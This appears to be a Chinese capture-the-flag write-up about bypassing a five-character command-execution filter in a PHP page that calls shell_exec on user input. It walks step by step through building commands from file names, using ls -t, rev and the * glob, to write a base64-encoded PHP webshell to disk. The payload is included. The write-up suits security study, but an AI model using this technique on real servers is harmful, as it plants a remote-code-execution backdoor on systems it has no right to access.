原始碼:
<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
echo shell_exec($_GET['cmd']);
}
?>
對cmd限制長度五位元組
起初是想透過變數來繞過五位元組 但好像不起作用
於是嘗試使用 常規做法透過檔名的疊加來構造payload:
首先要縮小 ls -t的長度 在linux中 重定向符號可以直接建立檔案:
我們使用如下方法:
>-t
>ls
root@forg:/var/www/html/test# ls
ls -t
#使用*觸發命令 按順序觸發 預設順序是數字字母符號的順序
此時還不能夠將ls -t的長度縮短 需要將命令寫入到一個新的檔案中 方便執行
但是由於 '>f'引數永遠會處於ls的第一個 檔案 導致順序不正確
需要使用 rev命令做一個倒置
再使用dir將結果輸出到一個檔案中
d下來是f所以檔名取為f
綜合下來:
>sl
>ht-
>f\>
>dir
# 此時*觸發:
root@forg:/var/www/html/test# *
f> ht- sl
# 對結果進行重定向 寫到一個新的檔案中: 等下需要匹配*v所以目標檔名一定與rev的結末字元一致
*>v
# 建立rev對檔案內容進行倒置
root@forg:/var/www/html/test# >rev
最後將內容寫入到新的檔案中a中 最後執行a檔案
sh a
最後f檔案記憶體應該存放的是一句話木馬 接下來的操作較為簡單 與七字元繞過基本一致
將payload base64編碼
PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+
透過base64解碼
整體命令為:echo PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+ | base64 -d
將字元按照總後向前的順序依次寫入
>\-d
>4\
>se6
>ba
...........
>PD9
sh a 將命令寫入到f中
最後
f 中存放著一句話木馬